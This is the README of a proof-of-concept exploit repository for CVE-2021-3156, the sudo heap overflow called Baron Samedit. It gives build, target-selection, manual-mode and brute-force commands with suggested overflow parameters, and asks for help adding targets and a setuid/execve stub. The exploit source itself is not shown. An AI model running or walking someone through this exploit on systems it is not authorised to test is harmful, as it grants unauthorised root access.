CVE-2021-3156 PoC

Introduction

This is an exploit for the CVE-2021-3156 vulnerability in sudo (dubbed Baron Samedit by Qualys).

Usage

build:

$ make

target list:

$ ./sudo-hax-me-a-sandwich

run:

$ ./sudo-hax-me-a-sandwich <target_number>

manual mode:

$ ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>

Brute force target detection (experimental)

Make sure you have GNU parallel installed.

$ make brute
$ ./brute.sh <smash_start> <smash_end> <null_start> <null_end> <lc_start> <lc_end>

some patterns to try:

$ ./brute.sh 90 120 50 70 150 300

It will consume all available cores. Do not try to netflix & brute.

Contributing

Contribute to the repository Submit a (sensible) PR, I can merge. Leave a star

Some ideas:

• More targets
• Target localization
• Other exploitation strategies
• More standalone functionality:
  • Incorporate the shared library hax.c (please minimize, ELF golf + asm setuid / execve stub)
  • Add mkdir logic to hax.c
• Directory / shared library cleanup